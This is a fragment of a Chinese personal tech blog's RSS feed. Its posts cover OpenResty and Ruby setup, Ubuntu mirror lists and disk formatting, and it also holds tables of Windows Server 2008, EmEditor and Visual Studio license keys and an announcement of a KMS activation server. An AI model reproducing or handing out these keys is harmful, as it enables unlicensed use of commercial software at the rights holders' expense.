 &lt;td&gt;TM24T-X9RMF-VWXK6-X8JC9-BFGM2&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 Standard without Hyper-V&lt;/td&gt;
 &lt;td&gt;W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 Enterprise&lt;/td&gt;
 &lt;td&gt;YQGMW-MPWTJ-34KDK-48M3W-X4Q6V&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 Enterprise without Hyper-V&lt;/td&gt;
 &lt;td&gt;39BXF-X8Q23-P2WWT-38T2F-G3FPG&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 HPC&lt;/td&gt;
 &lt;td&gt;RCTX3-KWVHP-BR6TB-RB6DM-6X7HP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 Datacenter&lt;/td&gt;
 &lt;td&gt;7M67G-PC374-GR742-YH8V4-TCBY3&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 Datacenter without Hyper-V&lt;/td&gt;
 &lt;td&gt;22XQ2-VRXRG-P8D42-K34TD-G3QQC&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows Server 2008 for Itanium-Based Systems&lt;/td&gt;
 &lt;td&gt;4DWFP-JF3DJ-B7DTH-78FJB-PDRHK&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Ubuntu下的OpenResty 安装</title><link>https://luodaoyi.com/posts/ubuntu%E4%B8%8B%E7%9A%84openresty-%E5%AE%89%E8%A3%85-ubuntu%E4%B8%8B%E7%9A%84openresty%E5%AE%89%E8%A3%85/</link><pubDate>Sun, 12 Mar 2017 06:22:06 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu%E4%B8%8B%E7%9A%84openresty-%E5%AE%89%E8%A3%85-ubuntu%E4%B8%8B%E7%9A%84openresty%E5%AE%89%E8%A3%85/</guid><description>&lt;h2 id="安装前的准备"&gt;安装前的准备&lt;/h2&gt;
&lt;p&gt;您必须将这些库 perl 5.6.1+, libreadline, libpcre, libssl安装在您的电脑之中。 对于 Linux来说, 您需要确认使用 ldconfig 命令，让其在您的系统环境路径中能找到它们。&lt;/p&gt;
&lt;h3 id="debian-和-ubuntu-用户"&gt;Debian 和 Ubuntu 用户&lt;/h3&gt;
&lt;p&gt;推荐您使用 apt-get安装以下的开发库:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt-get install libreadline-dev libncurses5-dev libpcre3-dev \
 libssl-dev perl make build-essential
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="fedora-和-redhat-用户"&gt;Fedora 和 RedHat 用户&lt;/h3&gt;
&lt;p&gt;推荐您使用yum安装以下的开发库:&lt;/p&gt;</description></item><item><title>激活</title><link>https://luodaoyi.com/posts/keys/</link><pubDate>Sun, 12 Mar 2017 06:17:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/keys/</guid><description>&lt;p&gt;自己经常用，做个备份&lt;/p&gt;
&lt;h2 id="emeditor激活码"&gt;Emeditor激活码&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;DMAZM-WHY52-AX222-ZQJXN-79JXH&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Version 18.9.12
使用正常!&lt;/p&gt;
&lt;h2 id="vs2010"&gt;VS2010&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;版本&lt;/th&gt;
 &lt;th&gt;密钥&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;旗舰版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;YCFHQ-9DWCY-DKV88-T2TMH-G7BHP&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="vs2012"&gt;VS2012&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;版本&lt;/th&gt;
 &lt;th&gt;密钥&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;Microsoft Visual Studio Ultimate 2012 旗舰版&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;YKCW6-BPFPF-BT8C9-7DCTH-QXGWC&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;Microsoft Visual Studio Premium 2012 高级版&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;MH2FR-BC9R2-84433-47M63-KQVWC&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;Microsoft Visual Studio Professional 2012 专业版&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;4D974-9QX42-9Y43G-YJ7JG-JDYBP&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="vs2013"&gt;VS2013&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;版本&lt;/th&gt;
 &lt;th&gt;密钥&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Visual Studio Ultimate 2013 旗舰版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;BWG7X-J98B3-W34RT-33B3R-JVYW9&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Visual Studio Premium 2013 高级版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;FBJVC-3CMTX-D8DVP-RTQCT-92494&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Visual Studio Professional 2013 专业版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;XDM3T-W3T3V-MGJWK-8BFVD-GVPKY&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Team Foundation Server 2013&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;MHG9J-HHHX9-WWPQP-D8T7H-7KCQG&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="vs2015"&gt;VS2015&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;版本&lt;/th&gt;
 &lt;th&gt;密钥&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;专业版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;HMGNV-WCYXV-X7G9W-YCX63-B98R2&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;企业版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;HM6NR-QXX7C-DFW2Y-8B82K-WTYJV&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="vs2017"&gt;vs2017&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;版本&lt;/th&gt;
 &lt;th&gt;密钥&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;专业版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;KBJFW-NXHK6-W4WJM-CRMQB-G3CDH&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;企业版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;NJVYC-BMHX2-G77MM-4XJMR-6Q8QF&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="vs2019"&gt;vs2019&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;版本&lt;/th&gt;
 &lt;th&gt;密钥&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;专业版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;NYWVH-HT4XC-R2WYW-9Y3CM-X4V3Y&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;企业版&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;BF8Y8-GN2QH-T84XB-QVY3B-RC4DF&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="vs2022"&gt;vs2022&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;版本&lt;/th&gt;
 &lt;th&gt;密钥&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Visual studio 2022 Enterprise&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;VHF9H-NXBBB-638P6-6JHCY-88JWH &lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Visual studio 2022 Pro&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;TD244-P4NB7-YQ6XK-Y8MMM-YWV2J&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="vs2026"&gt;vs2026&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Visual Studio 2026 激活码（VS2026激活码）（VS2026密钥）&lt;/p&gt;</description></item><item><title>Ubuntu16.04阿里云源</title><link>https://luodaoyi.com/posts/ubuntu1604%E9%98%BF%E9%87%8C%E4%BA%91%E6%BA%90-ubuntu1604%E9%98%BF%E9%87%8C%E4%BA%91%E6%BA%90/</link><pubDate>Sun, 12 Mar 2017 06:16:10 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu1604%E9%98%BF%E9%87%8C%E4%BA%91%E6%BA%90-ubuntu1604%E9%98%BF%E9%87%8C%E4%BA%91%E6%BA%90/</guid><description>&lt;h1 id="1604源"&gt;16.04源&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="1404源"&gt;14.04源&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse

/usr/share/nodejs/firekylin
sudo ln -s /usr/share/nodejs/firekylin/nginx.conf /etc/nginx/conf.d/luody.conf
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>asp.net mvc获得请求体所有内容</title><link>https://luodaoyi.com/posts/aspnet-mvc%E8%8E%B7%E5%BE%97%E8%AF%B7%E6%B1%82%E4%BD%93%E6%89%80%E6%9C%89%E5%86%85%E5%AE%B9-aspnetmvc%E8%8E%B7%E5%BE%97%E8%AF%B7%E6%B1%82%E4%BD%93%E6%89%80%E6%9C%89%E5%86%85%E5%AE%B9/</link><pubDate>Sun, 12 Mar 2017 06:15:08 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/aspnet-mvc%E8%8E%B7%E5%BE%97%E8%AF%B7%E6%B1%82%E4%BD%93%E6%89%80%E6%9C%89%E5%86%85%E5%AE%B9-aspnetmvc%E8%8E%B7%E5%BE%97%E8%AF%B7%E6%B1%82%E4%BD%93%E6%89%80%E6%9C%89%E5%86%85%E5%AE%B9/</guid><description>&lt;p&gt;代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Stream req = Request.InputStream;
req.Seek(0, System.IO.SeekOrigin.Begin);
string json = new StreamReader(req).ReadToEnd();
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>ubuntu 添加新硬盘</title><link>https://luodaoyi.com/posts/ubuntu-%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%A1%AC%E7%9B%98-ubuntu%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%A1%AC%E7%9B%98/</link><pubDate>Sun, 12 Mar 2017 06:14:47 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu-%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%A1%AC%E7%9B%98-ubuntu%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%A1%AC%E7%9B%98/</guid><description>&lt;p&gt;查看硬盘：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# fdisk -l
...
Disk /dev/sdb: 274.9 GB, 274877906944 bytes
255 heads, 63 sectors/track, 33418 cylinders, total 536870912 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
Disk /dev/sdb doesn&amp;quot;t contain a valid partition table
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，有一块大小为256G的磁盘未初始化&lt;/p&gt;
&lt;p&gt;格式化硬盘（如果需要多个分区，请先创建磁盘分区）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# mkfs.ext4 /dev/sdb
mke2fs 1.42.9 (4-Feb-2014)
/dev/sdb is entire device, not just one partition!
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
16777216 inodes, 67108864 blocks
3355443 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
2048 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
 4096000, 7962624, 11239424, 20480000, 23887872
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看磁盘的UUID：&lt;/p&gt;</description></item><item><title>ubuntu 上的ruby安装</title><link>https://luodaoyi.com/posts/ubuntu-%E4%B8%8A%E7%9A%84ruby%E5%AE%89%E8%A3%85-ubuntu%E4%B8%8A%E7%9A%84ruby%E5%AE%89%E8%A3%85/</link><pubDate>Sun, 12 Mar 2017 06:13:13 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu-%E4%B8%8A%E7%9A%84ruby%E5%AE%89%E8%A3%85-ubuntu%E4%B8%8A%E7%9A%84ruby%E5%AE%89%E8%A3%85/</guid><description>&lt;h2 id="安装-rbenv"&gt;安装 rbenv&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone git://github.com/sstephenson/rbenv.git ~/.rbenv
# 用来编译安装 ruby
git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
# 用来管理 gemset, 可选, 因为有 bundler 也没什么必要
git clone git://github.com/jamis/rbenv-gemset.git ~/.rbenv/plugins/rbenv-gemset
# 通过 gem 命令安装完 gem 后无需手动输入 rbenv rehash 命令, 推荐
git clone git://github.com/sstephenson/rbenv-gem-rehash.git ~/.rbenv/plugins/rbenv-gem-rehash
# 通过 rbenv update 命令来更新 rbenv 以及所有插件, 推荐
git clone git://github.com/rkh/rbenv-update.git ~/.rbenv/plugins/rbenv-update
# 使用 Ruby China 的镜像安装 Ruby, 国内用户推荐
git clone git://github.com/AndorChen/rbenv-china-mirror.git ~/.rbenv/plugins/rbenv-china-mirror
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后把下面的代码放到 &lt;code&gt;~/.bash_profile&lt;/code&gt; 里&lt;/p&gt;</description></item><item><title>本站上线KMS服务~一句命令激活windows和office 稳定服务8年</title><link>https://luodaoyi.com/posts/kms/</link><pubDate>Fri, 09 Sep 2016 06:25:15 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kms/</guid><description>&lt;blockquote&gt;
&lt;p&gt;本文最后更新日期: 2023-12-07&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;服务器地址：kms.luody.info&lt;br&gt;
更新：&lt;br&gt;
脚本维护更新：2016-09-29&lt;br&gt;
服务端版本：vlmcsd-1108-2017-01-19-Hotbird64&lt;/p&gt;
&lt;p&gt;服务作用：在线激活windows和office&lt;br&gt;
适用对象：VOL版本的windows和office&lt;br&gt;
适用版本：截止到win10和office2016的所有版本&lt;br&gt;
服务时间：24H，偶尔更新维护&lt;br&gt;
优点：在线激活 省时省力 无需安装软件 干净环保 命令简单&lt;br&gt;
缺点：服务器不挂的话自动重新授权到服务器挂（服务器挂了还能继续180天，期间早修好啦&lt;/p&gt;</description></item><item><title>关于我</title><link>https://luodaoyi.com/about/</link><pubDate>Tue, 10 Mar 2015 00:13:27 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/about/</guid><description>&lt;p&gt;小学生一枚。&lt;/p&gt;
&lt;h2 id="最近折腾的项目"&gt;最近折腾的项目&lt;/h2&gt;
&lt;p&gt;这里放一些我最近写过、整理过，或者还在持续维护的小东西。&lt;/p&gt;
&lt;h3 id="certwarden"&gt;&lt;a href="https://github.com/luodaoyi/Certwarden"&gt;Certwarden&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;证书监控&lt;/code&gt; &lt;code&gt;SSL/TLS&lt;/code&gt; &lt;code&gt;多租户&lt;/code&gt; &lt;code&gt;自托管&lt;/code&gt; &lt;code&gt;Go&lt;/code&gt; &lt;code&gt;React&lt;/code&gt; &lt;code&gt;Docker&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;一个面向团队、平台和托管场景的多租户 SSL/TLS 证书监控系统。重点是持续检测证书状态、通知告警、历史记录和公开状态页。&lt;/p&gt;
&lt;p&gt;相关介绍：&lt;a href="https://luodaoyi.com/posts/%E6%88%91%E5%86%99%E4%BA%86%E4%B8%80%E4%B8%AA%E8%AF%81%E4%B9%A6%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F-%E5%8F%AB-certwarden/"&gt;我写了一个证书监控系统，叫 Certwarden&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="breathelens"&gt;&lt;a href="https://github.com/luodaoyi/BreatheLens"&gt;BreatheLens&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;瑞思迈&lt;/code&gt; &lt;code&gt;CPAP/APAP&lt;/code&gt; &lt;code&gt;医疗数据&lt;/code&gt; &lt;code&gt;本地分析&lt;/code&gt; &lt;code&gt;Python&lt;/code&gt; &lt;code&gt;PySide6&lt;/code&gt; &lt;code&gt;QML&lt;/code&gt;&lt;/p&gt;</description></item><item><title>归档</title><link>https://luodaoyi.com/archives/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/archives/</guid><description/></item><item><title>搜索</title><link>https://luodaoyi.com/search/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/search/</guid><description/></item></channel></rss>